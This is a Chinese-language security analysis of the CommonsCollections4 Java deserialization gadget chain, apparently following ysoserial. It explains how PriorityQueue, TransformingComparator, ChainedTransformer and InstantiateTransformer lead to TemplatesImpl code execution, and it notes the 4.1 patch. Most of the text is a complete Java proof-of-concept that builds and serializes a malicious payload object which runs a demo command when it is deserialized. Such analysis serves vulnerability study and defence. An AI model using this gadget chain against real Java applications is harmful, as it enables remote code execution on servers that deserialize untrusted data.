简介
适用版本:4.0,jdk7u21及以前
CommonsCollections4反序列化漏洞点InstantiateTransformer类的transform方法,并且在ChainedTransformer的transform方法中有所调用,之后在TransformingComparator的compare方法中调用ChainedTransformer的transform方法,compare方法在PriorityQueue插入元素时会自动调用。仔细一看其实就是CommonsCollections2和CommonsCollections3里边的东西合并了一下,利用的方法都是一样的。
主要代码
简要分析:反序列化时调用PriorityQueue的readObject方法,从而调用了TransformingComparator中恶意的ChainedTransformer对象的tranform方法,通过循环调用ChainedTransformer中iTransformer对象的tranform方法,进而调用TrAXFilter的构造方法,从而造成命令执行。
public static void main(String[] args) throws Exception {
String command = "open /Applications/Calculator.app/";
Object templates = createTemplatesImpl(command);
//ConstantTransformer类实例化了一个constant对象
ConstantTransformer constant = new ConstantTransformer(String.class);
//InstantiateTransformer类实例化了一个instantiate对象
Class[] paramTypes = new Class[] { String.class };
Object[] str = new Object[] { "foo" };
InstantiateTransformer instantiate = new InstantiateTransformer(
paramTypes, str);
paramTypes = (Class[]) getFieldValue(instantiate, "iParamTypes");
str = (Object[]) getFieldValue(instantiate, "iArgs");
ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
//创建一个PriorityQueue对象,并将它的comparator设为包含恶意ChainedTransformer对象的TransformingComparator
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
// 先设置为正常变量值,在后面通过setFieldValue来修改
queue.add(1);
queue.add(1);
//使constant返回TrAXFilter对象
setFieldValue(constant, "iConstant", TrAXFilter.class);
//通过调用TemplatesImpl类的newTransformer方法来实现RCE
paramTypes[0] = Templates.class;
str[0] = templates;
FileOutputStream fos = new FileOutputStream("payload.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(queue);
oos.flush();
oos.close();
FileInputStream fis = new FileInputStream("payload.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
Object newObj = ois.readObject();
ois.close();
}
如果还是有点迷糊的话,希望再回顾一下之前的2和3。
利用链
也是2,3的合并,不多bb了
补丁
4.1版本选择把InstantiateTransformer类的反序列化接口给删除了(3.22是拉黑了)。
参考文章
雷神众测ysoserial分析之CommonsCollections4
Java反序列化利用链分析之CommonsCollections2,4,8-安全客